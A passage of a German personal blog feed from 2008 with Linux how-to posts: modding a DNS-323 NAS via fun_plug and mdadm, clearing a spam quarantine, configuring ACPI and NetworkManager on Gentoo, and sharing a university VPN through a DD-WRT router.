Nach dem Starten hohlt sich der DNS-323 per DHCP eine IP (wenn es keine bekommt, nimmt es einfach 192.168.0.32). Diese IP habe ich im Webinterface meines Routers nachgeschaut und mich mit dem Webinterface des  DNS-323 verbunden. Eine Konfiguration über ein Windows-Tool, dass den DNS-323 automatisch findet, ist auch möglich. Das Webinterface fordert einen sofort auf, die Platten zu formatieren. Schade, wollte eigentlich erst ein Firmware Update machen. Ich entscheid mich dann vorläufig für einen RAID1 Array in Größe von 600 GB, der Rest wurde ohne Auswahlmöglichkeit also JBOD formatiert (manuell geht auch als RAID0, aber dazu später mehr). Zur Auswahl steht: Beide Platten einzeln formatieren, als RAID0 oder als RAID1 zusammenfassen. Übrig gebliebener Platz wird als JBOD formatiert. Als Dateisystem benutzt der DNS-323 Linux Software RAID + ext2. Die Platten lasssen sich also ausbauen und an einem Deskoprechner lesen. Die Formatierung dauerte ziemlich lang. Aber 1.5TB ist das wohl zu erwarten. Nach dem das erledigt war, startete der DNS-323 neu und man hatte Zugriff auf alle Elemente des Webinterface. Ich spielte also zuerst ein Firmware Update auf 1.04 ein. das Webinterface ist relativ übersichtlich, obwohl manche Funktionen z.B. das Hinzufügen von CIFS Shares etwas unübersichtlich ist. Es erfüllt aber seinen Zweck. Auf den ersten Blick, war nur eine Sache für mich etwas störend und zwar das man das UserLimit für den FTP Server auf maximal 10 setzten kann, obwohl gehen eine höhere Zahl nichts spricht (letzt sich trotzdem hochsetzten auch dazu später mehr). Mal von den üblichen Konfigurations Optionen, wie Netzwerkeinstellungen, RAID Konfiguration, Uhrzeit, Einstellungen für FTP, iTunes und UPNP Server findet sich noch die Möglichkeit zeitgesteuert ftp/http Downloads zu starten. Nett. Wobei das im Vergleich zu den Möglichkeiten die eine Installation von ml_donkey bietet, natürlich eher läpsch wirkt, aber aber für viele Anwendungen. Für 95% der User wird dieser Funktionsumfang sicherlich reichen, für mich jedoch nicht. Insbesondere NFS fehlt schmerzlich.</p>
<p>Performance:<br />
<em>Sufficient.</em><br />
s. [5] 8f. </p>
<p>Homebrew:<br />
Die Firmware des DNS-323 hat eine praktiscche &#8220;Funktion&#8221;. Beim Starten des Geräts wird die Datei <em>fun_plug</em> auf Volume_1 ausgeführt. Diese kann z.B. wiederrum einen telnetd oder sshd starten. Somit stehen alle Türen offen. Ein fertiges, erweiterbares fun_plug steht bei [3] zum Download bereit. Dieses fun_plug startet automatisch ein telnetd. Über Telnet war es mir dann auch möglich, die RAID Konfiguration und die Konfiguration des FTP Servers meinen Vorstellungen anzupassen. Sobald man verbunden ist, lässt sich per:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">mount</span> <span style="color: #660033;">-t</span> minix <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>mtdblock0 <span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>mtd1
<span style="color: #c20cb9; font-weight: bold;">mount</span> <span style="color: #660033;">-t</span> minix <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>mtdblock1 <span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>mtd2</pre></div></div>

<p>die Firmware mounten und die Konfigurationsdateien direkt (und dauerhaft) bearbeiten. Unter anderem z.B. <em>smb.conf</em>, <em>pure-ftpd.conf</em>, <em>raidtab</em>. Den RAID Level von md1 konnte ich einfach mit:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">umount</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>md1
raidstop <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>md1
mdadm <span style="color: #660033;">--create</span> <span style="color: #660033;">--verbose</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>md1 <span style="color: #660033;">--level</span>=<span style="color: #000000;">0</span> <span style="color: #660033;">--raid-devices</span>=<span style="color: #000000;">2</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sda3 <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdb3</pre></div></div>

<p>und folgender raidtab:</p>
<pre>
raiddev /dev/md0
        raid-level      raid1
        nr-raid-disks   2
        chunk-size      64
        persistent-superblock   1
        device          /dev/sda2
        raid-disk       0
        device          /dev/sdb2
        raid-disk       1

raiddev /dev/md1
        raid-level      0
        nr-raid-disks   2
        chunk-size      64
        persistent-superblock   1
        device          /dev/sda3
        raid-disk       0
        device          /dev/sdb3
        raid-disk       1
        Version 1.3
</pre>
<p>ändern.</p>
<p>NFS lässt sich mit packages für <em>fonz fun plug</em> nachinstallieren. Gleiches gilt z.B. für rsyncd, ntpd, mediathomb.</p>
<p>Zum weiterlesen:<br />
[1] <a href="http://www.d-link.de/?go=gNTyP9CgrdFOIC4AStFCF834mptYKO9ZTdvhLPG3yV3oV492j6ltbNlwaaFp6DQoHDrgzy9F+40JDdo=">D-Link Deutschland &#8211; DNS-323</a><br />
[2] <a href="http://www.shadowandy.net/_html/archives/2007/05/mldonkey_for_dns323.html">mlDonkey for DNS323</a><br />
[3] <a href="http://www.inreto.de/dns323/fun-plug/">fonz fun plug</a><br />
[4] <a href="http://wiki.dns323.info/">DNS 323 Wiki</a><br />
[5] <a href="http://www.smallnetbuilder.com/content/view/29671/75/">Small Net Builder Review: DNS-323</a></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/03/schwarz-breit-gross/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>My MiniCity RWTH</title>
		<link>http://christian.samsel.name/2008/02/my-minicity-rwth/</link>
		<comments>http://christian.samsel.name/2008/02/my-minicity-rwth/#comments</comments>
		<pubDate>Thu, 21 Feb 2008 10:37:26 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Studium / Uni]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/02/my-minicity-rwth/</guid>
		<description><![CDATA[http://rwth.myminicity.com/ Kaputt. Schad.]]></description>
			<content:encoded><![CDATA[<p><img src="http://farm3.static.flickr.com/2348/2117161371_24bbe8c08f.jpg" alt="RWTH" /></p>
<p><del datetime="2008-02-26T16:07:53+00:00"><a href="http://rwth.myminicity.com">http://rwth.myminicity.com/</a></del> Kaputt. Schad.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/02/my-minicity-rwth/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>spam. revisited</title>
		<link>http://christian.samsel.name/2008/02/spam-revisited/</link>
		<comments>http://christian.samsel.name/2008/02/spam-revisited/#comments</comments>
		<pubDate>Fri, 15 Feb 2008 20:01:44 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[Rootserver]]></category>
		<category><![CDATA[spamassassin]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/02/spam-revisited/</guid>
		<description><![CDATA[cd /var/amavis/quarantine rm spam-* /bin/rm: Argument list too long. Huch? ls &#124; wc -l 128926 Ui. time nice -n 19 find /var/amavis/quarantine/ -name &#34;spam-*.gz&#34; &#124; xargs zcat &#62;&#62; /var/spam-mbox-2006-2007 &#160; real 23m50.562s user 0m17.353s sys 0m15.173s &#160; ls -lah /var/spam-mbox -rw-r--r-- 1 root root 627M Feb 15 20:18 /var/spam-mbox-2006-2007 &#160; ls /var/amavis/quarantine/spam-* &#124; xargs rm [...]]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>amavis<span style="color: #000000; font-weight: bold;">/</span>quarantine
<span style="color: #c20cb9; font-weight: bold;">rm</span> spam-<span style="color: #000000; font-weight: bold;">*</span>
<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">rm</span>: Argument list too long.</pre></div></div>

<p>Huch?</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">wc</span> <span style="color: #660033;">-l</span>
<span style="color: #000000;">128926</span></pre></div></div>

<p>Ui.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">time</span> <span style="color: #c20cb9; font-weight: bold;">nice</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">19</span> <span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>amavis<span style="color: #000000; font-weight: bold;">/</span>quarantine<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #660033;">-name</span> <span style="color: #ff0000;">&quot;spam-*.gz&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">xargs</span> <span style="color: #c20cb9; font-weight: bold;">zcat</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>spam-mbox-<span style="color: #000000;">2006</span>-<span style="color: #000000;">2007</span>
&nbsp;
real    23m50.562s
user    0m17.353s
sys     0m15.173s
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-lah</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>spam-mbox
<span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> root root 627M Feb <span style="color: #000000;">15</span> <span style="color: #000000;">20</span>:<span style="color: #000000;">18</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>spam-mbox-<span style="color: #000000;">2006</span>-<span style="color: #000000;">2007</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>amavis<span style="color: #000000; font-weight: bold;">/</span>quarantine<span style="color: #000000; font-weight: bold;">/</span>spam-<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">xargs</span> <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span></pre></div></div>

<p>Tschö.</p>
<p>Also wenn mal jemand was Futter für sa-learn braucht&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/02/spam-revisited/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ACPI unter Kernel 2.6.24</title>
		<link>http://christian.samsel.name/2008/02/acpi-unter-kernel-2624/</link>
		<comments>http://christian.samsel.name/2008/02/acpi-unter-kernel-2624/#comments</comments>
		<pubDate>Mon, 04 Feb 2008 17:47:58 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[acpi]]></category>
		<category><![CDATA[gentoo]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/02/acpi-unter-kernel-2624/</guid>
		<description><![CDATA[Vor kurzem habe ich sys-kernel/gentoo-sources-2.6.24 installiert, noch ein paar Patches hinzugefügt (unter anderem Linux-PHC und TuxOnIce), konfiguriert und installiert. Lief eigentlich alles wie am Schnürchen, selbst der splashscreen mit dem neuen uvesafb funktioniert. Nach ein paar Stunden fiel mir aber dann auf, dass klaptopdaemon nicht gestartet wurde und die Stromsparmechanismen aus den KDE Menüs verschwunden [...]]]></description>
			<content:encoded><![CDATA[<p>Vor kurzem habe ich sys-kernel/gentoo-sources-2.6.24 installiert, noch ein paar Patches hinzugefügt (unter anderem Linux-PHC und TuxOnIce), konfiguriert und installiert. Lief eigentlich alles wie am Schnürchen, selbst der splashscreen mit dem neuen uvesafb funktioniert. Nach ein paar Stunden fiel mir aber dann auf, dass klaptopdaemon nicht gestartet wurde und die Stromsparmechanismen aus den KDE Menüs verschwunden waren. Musste wohl der Kernel sein. Folgende Einstellungen halfen dann:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">Power management options  ---<span style="color: #000000; font-weight: bold;">&gt;</span> ACPI <span style="color: #7a0874; font-weight: bold;">&#40;</span>Advanced Configuration and Power Interface<span style="color: #7a0874; font-weight: bold;">&#41;</span> Support
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>   Deprecated <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>acpi files
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>   Deprecated power <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>acpi folders
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>   Deprecated <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>acpi<span style="color: #000000; font-weight: bold;">/</span>event support</pre></div></div>

<p>Manchmal wundert es mich schon, wie schnell im IT Bereich Entwicklungen innerhalb weniger Monate/Jahre von <em>bleeding-edge</em> zu <em>state-of-the-art</em> aufsteigen nur um wenig später doch wieder <em>deprecated</em> zu sein. </p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/02/acpi-unter-kernel-2624/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>no-nofollow</title>
		<link>http://christian.samsel.name/2008/02/nonofollow/</link>
		<comments>http://christian.samsel.name/2008/02/nonofollow/#comments</comments>
		<pubDate>Mon, 04 Feb 2008 12:43:26 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Blog / Website]]></category>
		<category><![CDATA[nofollow]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/02/nonofollow/</guid>
		<description><![CDATA[Die nofollow Problematik ist wahrscheinlich den meisten Blogger zwar zumindest wage bekannt, aber nicht bewusst. Das Attribut rel=”nofollow” wird in Links verwendet um Suchmaschinen mitzuteilen, dass dieser Link nicht bewertet werden soll. Das ist im Prinzip nützlich um Spam-Kommentare/Spam-Trackbacks und ähnlichem die Grundlage zu nehmen. Bekommt man deswegen weniger Spam? Nein, Spammer scheint diese Kleinigkeit [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/files/no-nofollow-logo.gif" alt="fight spam - not blogs" style="float: left; margin-right: 8px;" />Die <em>nofollow</em> Problematik ist wahrscheinlich den meisten Blogger zwar zumindest wage bekannt, aber nicht bewusst.<br />
Das Attribut <em>rel=”nofollow”</em> wird in Links verwendet um Suchmaschinen mitzuteilen, dass dieser Link nicht bewertet werden soll. Das ist im Prinzip nützlich um Spam-Kommentare/Spam-Trackbacks und ähnlichem die Grundlage zu nehmen.<br />
Bekommt man deswegen weniger Spam? Nein, Spammer scheint diese Kleinigkeit wohl ziemlich egal zu sein. Was bleibt also von nofollow für den typischen Blogbetreiber übrig? Nur Nachteile. Was mich besonders stört, man degradiert legitime User und ihre Links zu Spam. Das ist in den meisten Fällen wohl kaum gewollt.</p>
<p>Leider fügt WordPress das Attribut seit Version 1.5 standardmäßig und nicht abschaltbar <em>(doh!)</em> zu allen Links in Kommentaren und Trackbacks hinzu. Das war mir nicht bekannt.<br />
Aber wie für alle denkbaren Fälle gibt es ein WordPress Plugin, dass hiermit Schluss macht: <a href="http://www.fob-marketing.de/marketing-blog-184-wordpress-nofollow-seo-plugin-nofollow-case-by-case.html">Nofollow Case-by-Case</a>. Einfach installieren und Standardmäßig sind alle Links vom nofollow befreit. Wenn man doch mal ein nofollow hinzufügen will (aus was für Gründen auch immer) hängt man ein /dontfollow/ an und gut ist. Funktioniert auch beim bearbeiten von Kommentaren.</p>
<p>Weitere Infos: <a href="http://nonofollow.net/">nonofollow.net</a></p>
<p>BTW: Falls jemand funktionierende Lösungen gegen Spam sucht (und das ohne schwierige Kopfrechenaufgaben oder unschöne Captchas), der schaue <a href="http://www.bad-behavior.ioerror.us/">hier</a> und <a href="http://unknowngenius.com/blog/wordpress/spam-karma/">hier</a> vorbei.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/02/nonofollow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NetworkManager und Gentoo</title>
		<link>http://christian.samsel.name/2008/01/networkmanager-gentoo/</link>
		<comments>http://christian.samsel.name/2008/01/networkmanager-gentoo/#comments</comments>
		<pubDate>Wed, 30 Jan 2008 20:56:16 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[gentoo]]></category>
		<category><![CDATA[networkmanager]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/01/networkmanager-gentoo/</guid>
		<description><![CDATA[So. NetworkManager (kurz NM) fand ich irgendwie immer merkwürdig. Es gehört zu Gnome und das Binary heißt &#8220;NetworkManager&#8221;, tatsächlich groß geschrieben. Das war bis jetzt Abschreckung genug. Aber irgendwie bin ich es nun Leid andauernd /etc/conf.d/net, wpa_supplicant.conf und vpnc.conf&#8216;s zu bearbeiten. NetworkManager sollte das alles können. So bringt man ihn unter Gentoo ordentlich ans laufen: [...]]]></description>
			<content:encoded><![CDATA[<p>So. <em>NetworkManager</em> (kurz NM) fand ich irgendwie immer merkwürdig. Es gehört zu Gnome und das Binary heißt &#8220;NetworkManager&#8221;, tatsächlich groß geschrieben. Das war bis jetzt Abschreckung genug. Aber irgendwie bin ich es nun Leid andauernd <em>/etc/conf.d/net</em>, <em>wpa_supplicant.conf</em> und <em>vpnc.conf</em>&#8216;s zu bearbeiten. NetworkManager sollte das alles können. So bringt man ihn unter Gentoo ordentlich ans laufen:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># unstable ebuilds verwenden</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;dev-libs/libnl ~x86&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;net-misc/networkmanager-vpnc ~x86&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;net-misc/networkmanager-openvpn ~x86&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;kde-misc/knetworkmanager ~x86&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
&nbsp;
<span style="color: #666666; font-style: italic;"># nicht Rootuser die Benutzung von NM erlauben</span>
usermod <span style="color: #660033;">-a</span> <span style="color: #660033;">-G</span> plugdev USER
<span style="color: #666666; font-style: italic;"># nötige useflags aktivieren</span>
euse <span style="color: #660033;">--enable</span> <span style="color: #ff0000;">&quot;crypt dbus hal&quot;</span>
<span style="color: #666666; font-style: italic;"># Für vpnc Unterstützung:</span>
euse <span style="color: #660033;">--enable</span> <span style="color: #ff0000;">&quot;cisco&quot;</span>
<span style="color: #666666; font-style: italic;"># Für OpenVPN Unterstützung:</span>
euse <span style="color: #660033;">--enable</span> <span style="color: #ff0000;">&quot;openvpn&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># NetworkManager bzw. dbus erwartet dhclient und nicht dhcpcd. </span>
<span style="color: #666666; font-style: italic;"># Achtung /etc/conf.d/net wird überschrieben!</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'modules=( &quot;dhclient&quot; &quot;!plug&quot; )'</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>conf.d<span style="color: #000000; font-weight: bold;">/</span>net
&nbsp;
<span style="color: #666666; font-style: italic;"># minimale dhclient Konfiguration schreiben:</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>dhcp<span style="color: #000000; font-weight: bold;">/</span>dhclient.conf <span style="color: #000000; font-weight: bold;">&lt;&lt;</span> <span style="color: #ff0000;">&quot;EOF&quot;</span>
send dhcp-lease-time <span style="color: #000000;">7200</span>;
timeout <span style="color: #000000;">10</span>;
EOF
&nbsp;
<span style="color: #666666; font-style: italic;"># Network-Manager installieren</span>
emerge networkmanager
<span style="color: #666666; font-style: italic;"># nach Geschmack</span>
emerge knetworkmanager
&nbsp;
rc-update add NetworkManager default
&nbsp;
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>dbus restart
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>net.<span style="color: #000000; font-weight: bold;">*</span> restart
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>NetworkManager start</pre></div></div>

<p>Wie gut das ganze funktioniert werde ich die nächsten Tage mal berichten.</p>
<p><span style="color: red">UPDATE:</span> seit net-misc/networkmanager-0.6.5_p20080130 funktioniert auch mit libnl-1.1.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/01/networkmanager-gentoo/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>vpnc und dd-wrt</title>
		<link>http://christian.samsel.name/2008/01/vpnc-ddwrt/</link>
		<comments>http://christian.samsel.name/2008/01/vpnc-ddwrt/#comments</comments>
		<pubDate>Sun, 13 Jan 2008 19:46:16 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[Studium / Uni]]></category>
		<category><![CDATA[dd-wrt]]></category>
		<category><![CDATA[linksys wrt54gl]]></category>
		<category><![CDATA[rwth]]></category>
		<category><![CDATA[vpnc]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/01/vpnc-ddwrt/</guid>
		<description><![CDATA[Johannes hat letzte Woche über DD-WRT und VPNC gebloggt. Damit ist es möglich den VPN Client auf einem von DD-WRT unterstützten Router (Linksys WRT54G &#038; Co) zu installieren und die VPN Verbindung von mehreren PCs (oder anderen Geräten wie PDAs) zu teilen. Anmerkung: vom RZ ist dies nicht erwünscht. Außerdem ist es wie Johannes schreibt [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hackvalue.de/heipei">Johannes</a> hat letzte Woche über DD-WRT und VPNC gebloggt. Damit ist es möglich den VPN Client auf einem von DD-WRT unterstützten Router (Linksys WRT54G &#038; Co) zu installieren und die VPN Verbindung von mehreren PCs (oder anderen Geräten wie PDAs) zu teilen.<br />
Anmerkung: <strong>vom RZ ist dies nicht erwünscht</strong>. Außerdem ist es wie Johannes schreibt nicht gerade schnell, &#8220;nur&#8221; ~ 200 kb/s auf einem WRT54G/WRT54GL. Ich nutzte das auch nur damit alle Rechner den vom RZ zur Verfügung gestellten Sophos Virusscanner aktuallisieren können, was nur über die VPN Verbindung funktioniert. Hierfür auf jedem Rechner den VPN Client zu installieren und laufen zu lassen, erscheint mir nicht gerade sinnvoll. Verschwendung der knappen IP-Adressen und das umgehen des Paketfilters des Routers sprechen dagegen.<br />
Die Lösung wie sie im <a href="http://www.dd-wrt.com/wiki/index.php/VPNC">DD-WRT Wiki</a> beschrieben ist, funktioniert zwar, allerdings ist der Shell-Code meiner Meinung nach ziemlich hässlich. Am Ende des Posts habe ich mal meine Variante eingefügt.<br />
Aber erstmal noch eine Kurzanleitung:<br />
1. Router mit v24 DD-WRT VPN Version flashen (aktuell ist v24 RC6.2)<br />
2. Allgemeine Routereinstellungen machen<br />
3. Shell Code bei Administration -> Commands einfügen, Kennung und Passwort ersetzen und Save Startup anklicken<br />
4. Router neustarten</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>vpnc
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>vpnc<span style="color: #000000; font-weight: bold;">/</span>vpnc.conf <span style="color: #000000; font-weight: bold;">&lt;&lt;</span> <span style="color: #ff0000;">&quot;EOF&quot;</span>
Interface name vpnlink
IKE DH Group dh2
Perfect forward Secrecy nopfs
IPSec gateway vpn.rwth-aachen.de
IPSec ID Extern
IPSec secret external
Xauth username TIM-Kennung
Xauth password TIM-Passwort
EOF
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>vpnc<span style="color: #000000; font-weight: bold;">/</span>vpnc.sh <span style="color: #000000; font-weight: bold;">&lt;&lt;</span> <span style="color: #ff0000;">&quot;EOF&quot;</span>
<span style="color: #666666; font-style: italic;">#!/bin/sh </span>
&nbsp;
<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #c20cb9; font-weight: bold;">true</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>
	<span style="color: #000000; font-weight: bold;">do</span>
	vpnc <span style="color: #660033;">--no-detach</span> <span style="color: #660033;">--non-inter</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>vpnc<span style="color: #000000; font-weight: bold;">/</span>vpnc.conf
	<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">3</span>
	<span style="color: #000000; font-weight: bold;">done</span>
EOF
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">120</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">sh</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>vpnc<span style="color: #000000; font-weight: bold;">/</span>vpnc.sh <span style="color: #000000; font-weight: bold;">&amp;</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">30</span>
&nbsp;
iptables <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-o</span> vpnlink <span style="color: #660033;">-j</span> ACCEPT
iptables <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-i</span> vpnlink <span style="color: #660033;">-j</span> ACCEPT
iptables <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-A</span> POSTROUTING <span style="color: #660033;">-o</span> vpnlink <span style="color: #660033;">-j</span> MASQUERADE</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/01/vpnc-ddwrt/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>StudiVZ &#8211; Einstellungen zur Verwendung meiner Daten</title>
		<link>http://christian.samsel.name/2008/01/studivz-einstellungen-zur-verwendung-meiner-daten/</link>
		<comments>http://christian.samsel.name/2008/01/studivz-einstellungen-zur-verwendung-meiner-daten/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 20:47:24 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Studium / Uni]]></category>
		<category><![CDATA[World Wide Web]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/01/einstellungen-zur-verwendung-meiner-daten/</guid>
		<description><![CDATA[StudiVZ &#8211; Einstellungen zur Verwendung meiner Daten. (sonst nur über 3 Links vom Kleingedruckten aus zu erreichen)]]></description>
